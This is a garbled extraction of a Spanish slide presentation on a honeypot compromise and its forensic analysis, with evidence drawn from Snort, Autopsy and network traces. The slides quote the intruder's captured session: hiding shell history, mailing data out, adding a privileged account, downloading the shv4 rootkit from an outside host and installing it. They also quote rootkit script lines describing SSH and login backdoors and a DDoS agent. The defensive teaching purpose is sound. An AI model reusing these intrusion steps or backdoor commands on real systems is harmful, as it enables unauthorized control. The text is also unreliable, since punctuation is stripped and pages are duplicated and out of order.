=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 16: Demostracion Hacking Honeypot y Análisis Forense

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 17: Demostracion Hacking Honeypot y Análisis Forense

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

